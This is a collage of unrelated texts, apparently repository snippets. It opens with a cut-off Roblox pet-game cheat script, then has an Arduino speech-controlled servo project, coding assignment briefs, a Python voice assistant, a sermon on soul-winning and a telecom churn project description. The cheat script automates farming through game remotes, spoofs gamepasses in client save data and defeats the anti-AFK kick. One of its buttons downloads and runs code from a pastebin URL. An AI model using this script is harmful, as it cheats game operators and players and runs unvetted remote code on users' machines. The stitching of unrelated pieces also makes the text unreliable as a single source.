GetMyPets() local returntable = {} for i,v in pairs(GameLibrary.Save.Get().Pets) do if v.e then table.insert(returntable, v.uid) end end return returntable end --returns all coins within the given area (area must be a table of conent) function GetCoins(area) local returntable = {} local ListCoins = game.workspace['__THINGS']['__REMOTES']["get coins"]:InvokeServer({})[1] for i,v in pairs(ListCoins) do if MainWindow.flags.FarmingArea == 'All' or table.find(IMightKillMyselfCauseOfThis[MainWindow.flags.FarmingArea], v.a) then local shit = v shit["index"] = i table.insert(returntable, shit) end end return returntable end --Sexy man ( wYn#0001 ) made this for me. It works, not sure how, it does. function GetCoinTable(area) local CoinTable = GetCoins(area) function getKeysSortedByValue(tbl, sortFunction) local keys = {} for key in pairs(tbl) do table.insert(keys, key) end table.sort( keys, function(a, b) return sortFunction(tbl[a].h, tbl[b].h) end ) return keys end local sortedKeys = getKeysSortedByValue(CoinTable, function(a, b) return a > b end) local newCoinTable = {} for i,v in pairs(sortedKeys) do table.insert(newCoinTable, CoinTable[v]) end return newCoinTable end --Not sure exactly why I did this local AreaWorldTable = {} for _, v in pairs(game:GetService("ReplicatedStorage").Game.Coins:GetChildren()) do for _, b in pairs(v:GetChildren()) do table.insert(AreaWorldTable, b.Name) end table.insert(AreaWorldTable, v.Name) end --Returns all the currently alive chests in the game the same was getcoins does function AllChests() local returntable = {} local ListCoins = game.workspace['__THINGS']['__REMOTES']["get coins"]:InvokeServer({})[1] for i,v in pairs(ListCoins) do local shit = v shit["index"] = i for aa,bb in pairs(AreaWorldTable) do if string.find(v.n, bb) then local thing = string.gsub(v.n, bb.." ", "") if table.find(Chests, thing) then shit.n = thing table.insert(returntable, shit) end end end end return returntable end --[[ --the remote works like this. I'm too scared to test anything else out function CollectOrbs() local ohTable1 = {[1] = {}} for i,v in pairs(game.workspace['__THINGS'].Orbs:GetChildren()) do ohTable1[1][i] = v.Name end game.workspace['__THINGS']['__REMOTES']["claim orbs"]:FireServer(ohTable1) end ]] if _G.MyConnection then _G.MyConnection:Disconnect() end _G.MyConnection = game.Workspace.__THINGS.Orbs.ChildAdded:Connect(function(Orb) game.Workspace.__THINGS.__REMOTES["claim orbs"]:FireServer({{Orb.Name}}) end) MainWindow:Toggle("Enabled", {flag = 'FarmingEnabled'}, function(new) local CurrentFarmingPets = {} while task.wait() and MainWindow.flags.FarmingEnabled do local pethingy = GetMyPets() if MainWindow.flags.FarmingType == 'Normal' then local cointhiny = GetCoins(MainWindow.flags.FarmingArea) for i = 1, #cointhiny do if MainWindow.flags.FarmingEnabled and game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[i].index) then for _, bb in pairs(pethingy) do if MainWindow.flags.FarmingEnabled and game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[i].index) then wait(0.1) spawn(function() FarmCoin(cointhiny[i].index, bb) end) end end repeat task.wait() until not game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[i].index) end end elseif MainWindow.flags.FarmingType == 'Chest' then for i,v in pairs(AllChests()) do if (v.n == MainWindow.flags.FarmingSingleChest) or (MainWindow.flags.FarmingSingleChest == 'All') then local starttick = tick() for a, b in pairs(pethingy) do coroutine.wrap(function() FarmCoin(v.index, b) end)() end repeat task.wait() until not game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(v.index) or #game:GetService("Workspace")["__THINGS"].Coins[v.index].Pets:GetChildren() == 0 warn(v.n .. " has been broken in", tick()-starttick) end end elseif MainWindow.flags.FarmingType == 'Multi Target' then local cointhiny = GetCoins(MainWindow.flags.FarmingArea) for i = 1, #cointhiny do if i%#pethingy == #pethingy-1 then wait() end if not CurrentFarmingPets[pethingy[i%#pethingy+1]] or CurrentFarmingPets[pethingy[i%#pethingy+1]] == nil then wait(0.1) spawn(function() CurrentFarmingPets[pethingy[i%#pethingy+1]] = 'Farming' FarmCoin(cointhiny[i].index, pethingy[i%#pethingy+1]) repeat rs:wait() until not game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[i].index) or #game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[i].index).Pets:GetChildren() == 0 CurrentFarmingPets[pethingy[i%#pethingy+1]] = nil end) end end elseif MainWindow.flags.FarmingType == 'Highest Value' then local cointhiny = GetCoinTable(MainWindow.flags.FarmingArea) for a,b in pairs(pethingy) do spawn(function() wait() FarmCoin(cointhiny[1].index, b) end) end repeat rs:wait() until not game:GetService("Workspace")["__THINGS"].Coins:FindFirstChild(cointhiny[1].index) or #game:GetService("Workspace")["__THINGS"].Coins[cointhiny[1].index].Pets:GetChildren() == 0 elseif MainWindow.flags.FarmingType == 'Nearest' then local NearestOne = nil local NearestDistance = math.huge for i,v in pairs(game:GetService("Workspace")["__THINGS"].Coins:GetChildren()) do if (v.POS.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < NearestDistance then NearestOne = v NearestDistance = (v.POS.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude end end for a,b in pairs(pethingy) do spawn(function() FarmCoin(NearestOne.Name, b) end) end end end end) MainWindow:Dropdown("Type", {flag = 'FarmingType', list = {'Normal', 'Chest', 'Multi Target', 'Highest Value', 'Nearest'}}) MainWindow:Dropdown("If chest", {flag = 'FarmingSingleChest', list = Chests}) MainWindow:Dropdown("Area", {flag = 'FarmingArea', list = AreaList}) MainWindow:Toggle("Collect Loot Bags", {flag = 'Lootbags', default = _G.Lootbags or false}, function() if MainWindow.flags.Lootbags then local Running = {} while wait() and MainWindow.flags.Lootbags do for i, v in pairs(game:GetService("Workspace")["__THINGS"].Lootbags:GetChildren()) do spawn(function() if v ~= nil and v.ClassName == 'MeshPart' then if not Running[v.Name] then Running[v.Name] = true local StartTick = tick() v.Transparency = 1 for a,b in pairs(v:GetChildren()) do if not string.find(b.Name, "Body") then b:Destroy() end end repeat task.wait() v.CFrame = game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart").CFrame until v == nil or not v.Parent or tick() > StartTick + 3 Running[v.Name] = nil end end end) end end end end) MainWindow:Button("Stat Tracker", function() loadstring(game:HttpGet('https://pastebin.com/raw/dPXXyp4A'))() wait(60) warn("60s has PASSED!") end) MainWindow:Button("POSSIBLE Lag reduction", function() game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs["Coin Rewards HUD"].Disabled = true if game:GetService("Workspace"):FindFirstChild("__DEBRIS") then game:GetService("Workspace")["__DEBRIS"]:Destroy() end end) local MyEggData = {} local littleuselesstable = {} local GameLibrary = require(game:GetService("ReplicatedStorage"):WaitForChild("Framework"):WaitForChild("Library")) for i,v in pairs(GameLibrary.Directory.Eggs) do local temptable = {} temptable['Name'] = i temptable['Currency'] = v.currency temptable['Price'] = v.cost table.insert(MyEggData, temptable) end table.sort(MyEggData, function(a, b) return a.Price < b.Price end) local EggData = {} for i,v in pairs(CurrencyOrder) do table.insert(EggData, " ") table.insert(EggData, "-- "..v.." --") for a,b in pairs(MyEggData) do if b.Currency == v then table.insert(EggData, b.Name) end end end EggsWindow:Toggle("Open Eggs", {flag = 'OpenEggs'}, function(new) while wait() and EggsWindow.flags.OpenEggs do local ohTable1 = { [1] = EggsWindow.flags.SelectedEgg, [2] = EggsWindow.flags.TripleEggs } workspace.__THINGS.__REMOTES["buy egg"]:InvokeServer(ohTable1) end end) EggsWindow:Dropdown('Egg', {flag = 'SelectedEgg', list = EggData}) EggsWindow:Toggle("Triple Eggs", {flag = 'TripleEggs'}) EggsWindow:Section(" ") EggsWindow:Button("Remove Egg animation", function() for i,v in pairs(getgc(true)) do if (typeof(v) == 'table' and rawget(v, 'OpenEgg')) then v.OpenEgg = function() return end end end end) EggsWindow:Button("Teleport Gamepass", function() local main = debug.getupvalues(require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")).Save.Get)[2][game.Players.LocalPlayer].save.Gamepasses table.insert(main,18674296) table.insert(main,18674298) table.insert(main,18674321) end) EggsWindow:Section("amGerard || Gerard#0001") --Anti AFK stolen from infinite yield // the readily available old one :) local GC = getconnections or get_signal_cons if GC then for i,v in pairs(GC(game.Players.LocalPlayer.Idled)) do if v["Disable"] then v["Disable"](v) elseif v["Disconnect"] then v["Disconnect"](v) end end else print("lol bad exploit") local vu = game:GetService("VirtualUser") game:GetService("Players").LocalPlayer.Idled:connect(function() vu:Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame) wait(1) vu:Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame) end) end warn("Everything has loaded fully. Enjoy :)")
AdibaMohammed
Task 2: The web page converts speech to text and then sends to the arduino connector with a servo motor so that if we say "يمين" the motor moves to (180 degrees) and if we say "يسار" moves to (0 degrees). code arduino: #include <Servo.h> volatile char v; Servo servo_7; void setup(){ v = 0; Serial.begin(9600); servo_7.attach(7); } void loop(){ v = Serial.read(); if (Serial.available() > 0) { if (v == 'A') { servo_7.write(0); delay(100); } if (v == 'B') { servo_7.write(180); delay(100); } } } code HTML: <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <style> body { font-family: 'Share Tech', sans-serif; font-size: 17px; color: white; display: flex; justify-content: center; align-items: center; margin: 0; width: 100vw; height: 100vh; text-shadow: 8px 8px 10px #0000008c; background-color: #343a40; background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='49' viewBox='0 0 28 49'%3E%3Cg fill-rule='evenodd'%3E%3Cg id='hexagons' fill='%239C92AC' fill-opacity='0.25' fill-rule='nonzero'%3E%3Cpath d='M13.99 9.25l13 7.5v15l-13 7.5L1 31.75v-15l12.99-7.5zM3 17.9v12.7l10.99 6.34 11-6.35V17.9l-11-6.34L3 17.9zM0 15l12.98-7.5V0h-2v6.35L0 12.69v2.3zm0 18.5L12.98 41v8h-2v-6.85L0 35.81v-2.3zM15 0v7.5L27.99 15H28v-2.31h-.01L17 6.35V0h-2zm0 49v-8l12.99-7.5H28v2.31h-.01L17 42.15V49h-2z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E"), linear-gradient(to right top, #343a40, #2b2c31, #211f22, #151314, #000000); } h1 { text-align: right; margin: 20px; } textarea { text-align: right; width: 50%; height: 200px; padding: 12px 20px; box-sizing: border-box; border: 2px solid #ccc; border-radius: 4px; background-color: #f8f8f8; font-size: 16px; resize: none; } </style> <body> <h1>ملتقط الصوت</h1> <textarea type="text" id="speechToText" placeholder="... اضغط هنا ثم تحدث " onclick="record()"></textarea> <button onclick="connectSerial()">اتصال</button> <script> var port, textEncoder, writableStreamClosed, writer; async function connectSerial() { try { // Prompt user to select any serial port. port = await navigator.serial.requestPort(); await port.open({ baudRate: 9600 }); textEncoder = new TextEncoderStream(); writableStreamClosed = textEncoder.readable.pipeTo(port.writable); writer = textEncoder.writable.getWriter(); listenToPort(); } catch { alert("Serial Connection Failed"); } } function record() { var recognition = new webkitSpeechRecognition(); recognition.lang = "ar"; recognition.onresult = function (event) { var a = document.getElementById('speechToText').value = event.results[0][0].transcript; if (a == "يمين." || a=="يمين") { console.log(a) sendSerialLine(); }else if(a == "يسار." || a=="يسار") { console.log(a) sendSerialLineB(); } } recognition.start(); } document.querySelector('button').addEventListener('click', async () => { const port = await navigator.serial.requestPort(); await port.open({ baudRate: 9600 }); }); async function listenToPort() { const textDecoder = new TextDecoderStream(); const readableStreamClosed = port.readable.pipeTo(textDecoder.writable); const reader = textDecoder.readable.getReader(); // Listen to data coming from the serial device. while (true) { const { value, done } = await reader.read(); if (done) { // Allow the serial port to be closed later. reader.releaseLock(); break; } // value is a string. appendToTerminal(value); } } async function sendSerialLine() {dataToSend = 'A' dataToSend = dataToSend + "\r\n"; await writer.write(dataToSend); } async function sendSerialLineB() { dataToSend = 'B' dataToSend = dataToSend + "\r\n"; await writer.write(dataToSend); } </script> </body> </html>
simonckenyon
1 Project: Online TODO list You are required to build a simple online TODO list (see: remembermilk.com) with a web interface that can be used in all popular web browsers. The application has to support multiple users, store necessary data in a database and be built with Java Servlet technology (use of open-source frameworks is also allowed). 2 Minimal functionality - User can sign in using unique login and password. This can be hardcoded to a default user list – user management functionality is not required. Please create at least one account for user “test” with password “abc123”. - User can view his/her current task list - User can check/uncheck any task on their list - User can add/remove task - All changes should be persistent – when a user signs into the system next time they will see changes made during previous session. - Each “task” contains a text description and date when the entry was created. Both fields should be displayed in the UI. - Since application can be used to by many users, the application should consider performance 3 Your outputs Please supply WAR file and all source code. WAR file will be deployed and tested in Tomcat6.x (Java6). You’re allowed to use any open-source library/framework, but it has to be included into a final WAR file. Please use an open-source in-memory database if needed (e.g. HSQL, H2, SQLite) Please also supply a short (1-2 pages) write up that explains you design choices Why certain approaches were used, why others were not used Any design patterns you used Anything extra you would have done given more time Anything else you feel I should know
hello2l
from platform import java_ver import sys import PyQt5 import pyttsx3 import speech_recognition as sr import datetime import wikipedia import webbrowser import os from PyQt5 import QtCore,QtGui,QtWidgets from PyQt5.QtGui import QMovie from PyQt5.QtCore import QTimer,QTime,QDate,Qt from PyQt5.QtGui import * from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.uic import loadUiType from Jarvis_UI import Ui_JarvisUI engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') # print(voices[1].id) engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour>=0 and hour<12: speak("Good Morning!") elif hour>=12 and hour<18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am Jarvis Sir. Please tell me how may I help you") class MainThread(QThread): def __init__(self): super(MainThread,self).__init__() def run(self): self.TaskExecution() def takeCommand(self): r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 1 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio, language='en-in') print(f"User said: {query}\n") except Exception as e: # print(e) print("Say that again please...") return "None" return query.lower() def TaskExecution(self): wishMe() while True: # if 1: self.query = self.takeCommand() # Logic for executing tasks based on query if 'wikipedia' in self.query: speak('Searching Wikipedia...') self.query = self.query.replace("wikipedia", "") results = wikipedia.summary(self.query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'open youtube' in self.query: webbrowser.open("youtube.com") elif 'open google' in self.query: webbrowser.open("google.com") elif 'open stackoverflow' in self.query: webbrowser.open("stackoverflow.com") elif 'play music' in self.query: music_dir = 'D:\\Non Critical\\songs\\Favorite Songs2' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) elif 'the time' in self.query: strTime = datetime.datetime.now().strftime("%H:%M:%S") speak(f"Sir, the time is {strTime}") elif 'open code' in self.query: codePath = "C:\\Users\\AADI\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe" os.startfile(codePath) elif "open notepad" in self.query: npath = "C:\\Users\dell\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\Accessories\\notepad.exe" os.startfile(npath) elif "open cmd" in self.query: os.system('start cmd') elif "open chrome" in self.query: NPATH = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" os.startfile(npath) startExecution = MainThread() class Main(QMainWindow): def __init__(self): super().__init__() self.ui = Ui_JarvisUI() self.ui.setupUi(self) self.ui.pushButton.clicked.connect(self.startTask) self.ui.pushButton_2.clicked.connect(self.close) def startTask(self): self.ui.movie = QtGui.QMovie("D:/jarvis/gui_1.gif") self.ui.label.setMovie(self.ui.movie) self.ui.movie.start() self.ui.movie = QtGui.QMovie("D:/jarvis/initial.gif") self.ui.label_2.setMovie(self.ui.movie) self.ui.movie.start() startExecution.start() def ShowTime(self): time_n = QTime.currentTime() now = QDate.currentDate() label_time = time_n.toString('hh:mm:ss') label_date = now.toString(Qt.ISODate) app = QApplication(sys.argv) jarvis = Main() jarvis.show() exit(app.exec_())
AkshayYohannan
When Paul was writing the second letter to Timothy, he summed up the practical purpose of Scripture in the words, "All Scripture ... is profitable ... that the man of God may be perfect, throughly furnished unto all good works" (2 Tim. 3:16, 17). The greatest vocation under the sun is that of the soul-winner, and we ought to give serious consideration to the preparation for it. In Great Britain, in every department of life, there is an increasing demand for efficiency. The slacker is in for a hard time, and a man or woman in business or in a profession must be completely furnished for his or her life purpose. Ought we to be content with a lower standard in the service of Christ? I believe that the Lord Jesus Christ has a right to demand the very best that we can offer Him, and I am perfectly sure that we shall never be truly yielded in His sight unless we offer to Him all the potentialities of our ransomed personality-body, mind and spirit. You remember what Paul says: "Study to shew thyself approved unto God, a workman that needeth not to be ashamed, rightly dividing the Word of truth" (2 Tim. 2:15). That was Charles Alexander's watchword, and it is engraved on his tombstone in Birmingham, England: "Study to shew thyself approved unto God." Be Sure of Your Conversion Let me remind you of a few essentials if you are to be an effective winner of souls. First of all, and needless to say, we must be very sure of our own conversion. And yet, I wonder, is it needless to say it? Two hundred and fifty years ago, Richard Baxter declared, "Many a preacher is now in hell that hath an hundred times called upon his hearers to use every care and diligence to escape it." When I first read that I was inclined to think it was an exaggeration, but in the light of further and wider experience, I am inclined to think that Richard Baxter was right. Yes, it is possible to warn men to flee from the wrath to come and yet not to have fled from it oneself. And then I suggest that we try to keep the freshness and the wonder of our conversion experience. God forbid that we should ever come to regard it as one of the commonplaces of life. A friend of mine years ago whimsically said to me, "I was converted to God forty years ago, and I never got over it!" It is a great thing to live with a constant sense of wonder that the grace of God has reached us and saved us. In the second place, if we are to be effective soul-winners we must have a pure and unselfish motive. We must be "approved unto God." That is one of the picturesque expressions of the New Testament. It means being subjected to drastic tests. I found an illustration of that in Saturday's Daily News. Here is a picture of a worker in a foundry taking molten steel from the furnace. From there it goes to the laboratory where it is subjected to the close scrutiny of metallurgical experts. The fire will try every man's work. Study give diligence-says Paul, to be approved unto God—to be bright metal cleansed from every bit of dross, effective for its purpose. Oh, let us beware lest there is any alloy mixed with our motive! Beware of trying to gain a reputation for ourselves as a soul-winner instead of seeking the glory of Christ. I think the most outrageous example I ever came across was when a man actually advertised himself after this fashion: "I will gain for you fifteen church members in a week, or I will give you twenty pounds." Fancy a man making a bet as to how many souls he was going to win for Christ in a week! All reputations of that character are bubbles that will soon burst and disappear. When D. L. Moody was asked upon one occasion how many converts he had made, he answered, "I don't keep the Lamb's book of life." We can leave the results to God! Make Large Use of the Bible Then, in the third place, we must be men and women of the Book. In the story of the Ethiopian eunuch (Acts 8), three essential things are mentioned: (1) There is an anxious inquirer; (2) there is a copy of the Scriptures; (3) there is a man on the lookout to win a soul for Christ. Philip could have done very little with the eunuch if he had not had a copy of the Scriptures before him. From the Scriptures, Philip "preached unto him Jesus." Have you noticed what a large place the Scriptures occupied in our Lord's ministry? His whole personal life was nourished and built up upon the Word of God. And in all His public work it was to the Word of God that He turned again and again. When He met the tempter in the wilderness, He vanquished him by quotations from the Word of God. It was the same with the apostles and in the experience of the early Church. What a wonderful regard Peter, Paul, John and the rest of the apostles had for the Scriptures! We might follow on through the whole history of the Church of Christ and find the same thing repeating itself. Some of the mightiest soul-winners were the Puritans. What was the secret of their success? It was because they were men who from morning to night steeped themselves in the Word of God. I remember reading somewhere that Dr. R. A. Torrey said, "There are four reasons why every Christian worker should know his Bible: First, to show men their need of a Savior; second, to show them that Jesus is the Savior they need; third, to show them how to make this Savior their Savior; and finally, to deal with specific difficulties that stand in the way of their accepting Christ." I suppose you know everything about D. L. Moody in the Institute, but may I remind you how Henry Moorhouse taught Moody this secret? Moorhouse said to him, "You are making a mistake in giving people your own words. Give them the Word of God, and you will learn the secret of power. " And about thirty years earlier Robert Murray McCheyne, of Dundee, had said a similar thing: "It is not our comments upon the Word that bring life; it is the Word itself." Our comments are like the feathers of an arrow which guide the arrow of the Word to its mark, but it is the Word itself that gets home. A Personal Testimony It is a great delight to see so many young faces before me, and it is for their sake in particular that I mention these things. Some of you may say, "How can I gain this facility in the Word of God? How can I know instantly where to turn for an appropriate passage?" I suppose there are various methods. I will give you a little bit of my own experience. In my early Christian life I was greatly helped by reading everything I could lay my hands on that D. L. Moody wrote. Later on, Dr. Torrey came on the scene, and I began to read his books. I remember that he brought out what was called The Vest Pocket Companion. It was a very simple arrangement of Scripture verses under various topics so that one could very readily find an appropriate text on a given topic. That book was very useful to me as an inexperienced beginner. There are others who have adopted the method of underlining specified passages of Scripture with different colored inks: underlining in black references to sin and condemnation; underlining in red references to the death of Christ and the efficacy of the shed blood, and so on. I have not followed that method, but I know others who have found it useful. But let me say this: Such methods are all right to begin with, but you have not developed much if after ten years of Christian work in soul-winning you are still as dependent upon such aids as you were at the beginning. I am quite sure Dr. Torrey never meant his book to be more than an introduction, a method of guidance in the use of Scripture for the beginner. You ought to become so expert in the Word of God that without even the need of colored inks you can turn to the passage that you know is appropriate to the point under discussion. Dr. Handley Moule, late Bishop of Durham, used to say that every Christian should know his Bible as much as a Londoner knows his London. London is a huge city, spread out much more than Chicago or New York. I do not know every street, but I know whether a particular district is north or west or south or east. I know the main thoroughfares and many of the side streets, and that is how we ought to be able to know our way about the Scriptures. We ought to know the large areas of the Word of God. We ought to know the theme of every book and the main lines of the history or the argument of an epistle. Whatever method you begin with, aim at least at that, and use all the aids that will enable you to become proficient in the knowledge of the Word of God. Make much use of concordances, as Moody used to urge us to do, and the other helps that in these days are so abundant. Value of Hard Work Perhaps you say, "If I am going to do this, it is going to involve much time and labor. " Well, my friends, what else do you expect? If you are going to enter trade or industry-if you are going to be a lawyer, a medical man, an army officer or a nurse-in order to become proficient, you have to study hard. You have to live laborious days and pass the most severe examinations and gain a diploma before you even begin your career. As I said at the beginning, there is no higher or more important vocation upon earth than to be a soul-winner. Do you imagine that to save a soul from eternal death is one of the unskilled occupations? Thank God, He can and He does use the humblest and the least instructed believer. The Lord will make you a soul-winner from the beginning if all your heart goes out in desire for the salvation of men and women. But the more you understand the significance of your work, the more you will come to realize that a man who is going to become skilled in the winning of souls is the man who must give diligence to the task and attention to methods by which the Lord can make him more helpful to those in need. Beware of the man who comes to you and says, "Never mind about such things. After all, the apostles were untrained men. " I do not believe that a greater untruth has ever been uttered than that. The apostles attended the finest theological college the world has ever known. For three years they had personal tuition in the things of God by none other than the infallible Son of God Himself. There never was such a college as that in Galilee, when Peter, James and John and the others followed the Lord. In the New Testament we have recorded for us the lessons that those men were taught, so that as we read the Gospels and ponder the things our Lord said to His disciples and the object lessons He gave them in the miracles, we, too, are attending the Bible school of Christ. And when we read Paul's thirteen epistles, we join the apostle Paul's correspondence school. Yes, we have the same curriculum as the men our Lord commissioned at the first to go into all the world and preach the Gospel to every creature. Value of Bible Training Though some here may not have opportunity to attend a Bible school, you have the Word of God in your hand, and you have the Spirit, who gave the Word, as the interpreter. Even though you have no other help, yet with the Word itself and prayer and dependence upon the Holy Spirit, you can become wise in the things of Christ. I have known men who have acquired a liberal education simply because they have steeped themselves in the Bible. Sometimes I have listened to an eloquent message from a simple, unlettered, working man, made eloquent because he has given years to the reading of the Word of God so that it is stored in his memory and has transformed his whole vocabulary. Such is the power of the Word of God to edify and to build up. Remember also that though we may acquire technical efficiency, yet if we lack a passion for souls, our labor will be in vain. We must see to it that our intellectual training does not outpace our growth in the Spirit. As we seek to know how to find the appropriate Scripture to fit every case, so also we must keep flaming in our hearts the fire of a great love and compassion for those who are perishing. I should like to add: A Word of Encouragement We are apt to associate soul-winning with those engaged in pulpit ministry. It may be that I am speaking to some Sunday School teacher, and the thought uppermost in that teacher's mind may be, "If I could be like some of these world-famed evangelists and preachers; if only I could be used of God and see scores coming out for Christ in the public assembly-then, indeed, I feel that my life would be lived for some purpose. But I cannot speak on the public platform. I can only teach a few children." Now, my brother, my sister, remember that you can be as effective a soul-winner where God has placed you as the man who is used by Him to bring about hundreds and thousands of public decisions. Whatever our gifts and whatever our opportunities, we can all have an equal measure, if we will, of the passion for souls. And our special God-given work can be as truly directed to a soul-winning end as that of any other. Among the books that have been of great inspiration to me in past years is The Life of William Carey. Now I venture to say that when year after year William Carey was toiling at translating the Scriptures into Sanskrit and other languages of the East, his literary labor was as truly directed to a soul-winning purpose and was inspired by as true a passion for souls as was the evangelistic work of D. L. Moody on the public platform. Moody would have been the first to acknowledge that. At the end of his forty years in India, how many souls could Carey reckon he had won directly to Christ through his instrumentality? Nothing like the number Spurgeon or Moody saved from their preaching. But Carey placed the Scriptures in the hands of missionaries and native workers, an how many souls have been won since because of the labor of William Carey to give the Scriptures to the East? How Christian Businessmen Help Those splendid businessmen who rallied around D. L. Moody and gave him money to establish his institutions were men who labored in business for the glory of Christ and with a soul-winning purpose. I emphasize this fact for the encouragement of anyone who may imagine that because his own gifts a inconspicuous, therefore, his life is less effective than the lives of others. What value do we attach to a human soul? That is the test by which to examine our lives. If we can move among men who are careless and indifferent, perhaps openly skeptical and unbelieving, and yet not be stirred to the depths of our being, there is something wrong with us. It is so easy to become professional in our work. May God save us from being professional preachers or professional pastors, or professional editors! May God give us fire and passion! Do we value souls? Oh, that men and women may become impressed with the fact that we are in dead earnest! Bishop Phillips Brooks quoted a man who said to a preacher, "I am not really convinced by what you say. I am not sure but what I could answer every argument you have presented, but one thing puzzles me and makes me feel that there is power in your message. I cannot understand why you go to so much trouble and why you labor with me in this way, as if you cared for my soul! " That is it! Many a skeptic has been won to Christ, not so much by argument as by realizing that the preacher believed what he said. A Jewish millionaire went to the Royal Opera House, London, to hear D. L. Moody. One of his friends said to him, "You don't believe what he preaches, do you?" And the reply was to the point, "No, I don't; but he does. And that is why I go to hear that man." Alexander Duff said, "I would stand on a street comer in India, and I would clap two shoes together if thereby I could claim the attention of the people to the things of Christ." When, after 25 years in India, Dr. Duff's health broke down and he had to come home, he was so enfeebled that when he addressed the General Assembly, half way through his address he sank down fainting on the platform. As soon as he revived, he said, "I haven't finished my speech. Take me back again!" Once more he faced that assembly. This is what he said: "Mr. Moderator, if it is true that Scotland has no more sons to give to the service of the Lord in India, then old man that I am, having lost my health in that land and having come home to die, I will be off tomorrow to let them know that there is one old Scotsman who is prepared to die for them. Gladly will I lay down my life on the shores of the Ganges, if only I can plead once more with India to come to Christ. " That is the passion for souls. May God give it to us!
21NalaStorm21
Background In this exercise you will be writing your first comprehensive web application. You know how to manipulate the DOM with jQuery and you know how to respond to user events such as button clicks or key presses. With this you can create an interactive application. This application is entirely client-side. That is, you are not saving or retrieving data from the server, so it is isolated to your machine and the quotes you add will not be saved if you refresh your page. You can simulate a database by utilizing LocalStorage, which is the task presented in Bonus I. The requirements for this exercise are purposefully underspecified. This is the expected real-world scenario you have as a developer. Program specifications are often written by a product owner without developer knowledge. This is a good thing. This is where you shine, in turning people's ideas into reality, whether they are your own ideas or someone else's. Take a few moments to design each feature before writing any code and don't hesitate to run it by your classmates or the instructors first before writing code. Techniques Generating DOM elements in JavaScript You will learn better techniques for generating DOM elements in Bonus II but this is the most direct way for now: // You have some Javascript data (primitive value, array, object, etc) var numDocs = 10; // Use jQuery to create a new DOM element. var messageEl = $("<p>You have {0} documents.</p>".supplant([numDocs])); // Add the DOM element to the page. $("body").append(messageEl); Requirements Build a client-side web app that allow users to share inspirational quotes. You choose whether the app is broken up into multiple pages or exposes functionality through multiple components on a single page. A user can add a new quote through a form. The form should ask for the quote and author, which are both required. Display a list of all the quotes. This list should update in real-time when quotes are added, deleted, or rated. User can click on the author of a quote to go to a separate page/sceeen that shows all quotes from that person. Users can rate a quote 1-5 stars. Quotes should be sorted by rating. Make a 'Random Quote' button that selects a quote at random and displays it in a popup (not an alert). User can delete a quote. The user should be given the option to undo their last action.
ShrutiM1234
Business problem overview In the telecom industry, customers are able to choose from multiple service providers and actively switch from one operator to another. In this highly competitive market, the telecommunications industry experiences an average of 15-25% annual churn rate. Given the fact that it costs 5-10 times more to acquire a new customer than to retain an existing one, customer retention has now become even more important than customer acquisition. For many incumbent operators, retaining high profitable customers is the number one business goal. To reduce customer churn, telecom companies need to predict which customers are at high risk of churn. In this project, you will analyse customer-level data of a leading telecom firm, build predictive models to identify customers at high risk of churn and identify the main indicators of churn. Understanding and defining churn There are two main models of payment in the telecom industry - postpaid (customers pay a monthly/annual bill after using the services) and prepaid (customers pay/recharge with a certain amount in advance and then use the services). In the postpaid model, when customers want to switch to another operator, they usually inform the existing operator to terminate the services, and you directly know that this is an instance of churn. However, in the prepaid model, customers who want to switch to another network can simply stop using the services without any notice, and it is hard to know whether someone has actually churned or is simply not using the services temporarily (e.g. someone may be on a trip abroad for a month or two and then intend to resume using the services again). Thus, churn prediction is usually more critical (and non-trivial) for prepaid customers, and the term ‘churn’ should be defined carefully. Also, prepaid is the most common model in India and Southeast Asia, while postpaid is more common in Europe in North America. This project is based on the Indian and Southeast Asian market. Definitions of churn There are various ways to define churn, such as: Revenue-based churn: Customers who have not utilised any revenue-generating facilities such as mobile internet, outgoing calls, SMS etc. over a given period of time. One could also use aggregate metrics such as ‘customers who have generated less than INR 4 per month in total/average/median revenue’. The main shortcoming of this definition is that there are customers who only receive calls/SMSes from their wage-earning counterparts, i.e. they don’t generate revenue but use the services. For example, many users in rural areas only receive calls from their wage-earning siblings in urban areas. Usage-based churn: Customers who have not done any usage, either incoming or outgoing - in terms of calls, internet etc. over a period of time. A potential shortcoming of this definition is that when the customer has stopped using the services for a while, it may be too late to take any corrective actions to retain them. For e.g., if you define churn based on a ‘two-months zero usage’ period, predicting churn could be useless since by that time the customer would have already switched to another operator. In this project, you will use the usage-based definition to define churn. High-value churn In the Indian and the Southeast Asian market, approximately 80% of revenue comes from the top 20% customers (called high-value customers). Thus, if we can reduce churn of the high-value customers, we will be able to reduce significant revenue leakage. In this project, you will define high-value customers based on a certain metric (mentioned later below) and predict churn only on high-value customers. Understanding the business objective and the data The dataset contains customer-level information for a span of four consecutive months - June, July, August and September. The months are encoded as 6, 7, 8 and 9, 